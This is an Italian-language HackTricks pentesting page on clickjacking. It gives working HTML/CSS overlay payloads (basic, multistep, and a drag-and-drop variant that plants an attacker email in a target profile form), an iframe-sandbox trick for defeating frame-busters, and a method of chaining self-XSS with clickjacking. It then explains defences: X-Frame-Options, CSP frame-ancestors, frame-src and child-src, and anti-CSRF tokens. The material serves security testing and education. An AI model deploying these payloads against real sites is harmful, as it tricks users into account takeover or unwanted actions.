hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:


Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Cos'è il Clickjacking

In un attacco di clickjacking, un utente viene ingannato a cliccare su un elemento in una pagina web che è invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro, o l'acquisto online di prodotti.

Trucco per precompilare i moduli

A volte è possibile riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina. Un attaccante potrebbe abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.

Compilare il modulo con Drag&Drop

Se hai bisogno che l'utente compili un modulo ma non vuoi chiedergli direttamente di scrivere informazioni specifiche (come l'email e/o una password specifica che conosci), puoi semplicemente chiedergli di Trascinare e rilasciare qualcosa che scriverà i tuoi dati controllati come in questo esempio.

Payload di base

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload Multistep

In un attacco di clickjacking multistep, l'attaccante può utilizzare più passaggi per ingannare l'utente e ottenere il clic su un elemento nascosto. Questo può essere realizzato utilizzando più layer di iframe trasparenti sovrapposti, o utilizzando tecniche avanzate come il movimento dell'elemento target durante il clic.

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Payload Drag&Drop + Click

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se hai identificato un attacco XSS che richiede all'utente di fare clic su un elemento per attivare l'XSS e la pagina è vulnerabile al clickjacking, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio:
Hai trovato un self XSS in alcuni dettagli privati dell'account (dettagli che solo tu puoi impostare e leggere). La pagina con il modulo per impostare questi dettagli è vulnerabile al Clickjacking e puoi prepopolare il modulo con i parametri GET.
__Un attaccante potrebbe preparare un attacco di Clickjacking a quella pagina prepopolando il modulo con il payload XSS e ingannando l'utente affinché invii il modulo. Quindi, quando il modulo viene inviato e i valori vengono modificati, l'utente eseguirà l'XSS.

Strategie per Mitigare il Clickjacking

Difese Lato Client

Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:

  • Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
  • Rendere tutti i frame visibili.
  • Impedire i clic sui frame invisibili.
  • Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.

Tuttavia, questi script di frame-busting potrebbero essere elusi:

  • Impostazioni di Sicurezza dei Browser: Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
  • Attributo HTML5 iframe sandbox: Un attaccante può neutralizzare gli script di frame buster impostando l'attributo sandbox con i valori allow-forms o allow-scripts senza allow-top-navigation. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Difese lato server

X-Frame-Options

L'header di risposta HTTP X-Frame-Options informa i browser sulla legittimità del rendering di una pagina in un <frame> o <iframe>, aiutando a prevenire il Clickjacking:

  • X-Frame-Options: deny - Nessun dominio può inserire il contenuto in un frame.
  • X-Frame-Options: sameorigin - Solo il sito corrente può inserire il contenuto in un frame.
  • X-Frame-Options: allow-from https://trusted.com - Solo l'URI specificato può inserire la pagina in un frame.
  • Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.

Direttiva frame-ancestors di Content Security Policy (CSP)

La direttiva frame-ancestors in CSP è il metodo consigliato per la protezione dal Clickjacking:

  • frame-ancestors 'none' - Simile a X-Frame-Options: deny.
  • frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.

Ad esempio, il seguente CSP consente solo l'inserimento da parte dello stesso dominio:

Content-Security-Policy: frame-ancestors 'self';

Ulteriori dettagli e esempi complessi possono essere trovati nella documentazione di frame-ancestors di CSP e nella documentazione di frame-ancestors di CSP di Mozilla.

Content Security Policy (CSP) con child-src e frame-src

Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.

Direttiva frame-src

  • Definisce le fonti valide per i frame.
  • Più specifica rispetto alla direttiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Questo policy consente frame dalla stessa origine (self) e https://trusted-website.com.

Direttiva child-src

  • Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
  • Funziona come fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.

Note sull'utilizzo:

  • Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
  • Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
  • Definizione di origine rigorosa: Includere solo fonti attendibili nelle direttive per prevenire l'exploit.

Script JavaScript di rottura del frame

Anche se non completamente sicuri, gli script di rottura del frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incorniciata. Esempio:

if (top !== self) {
top.location = self.location;
}

Utilizzo dei token Anti-CSRF

  • Validazione del token: Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.

Riferimenti


Utilizza Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: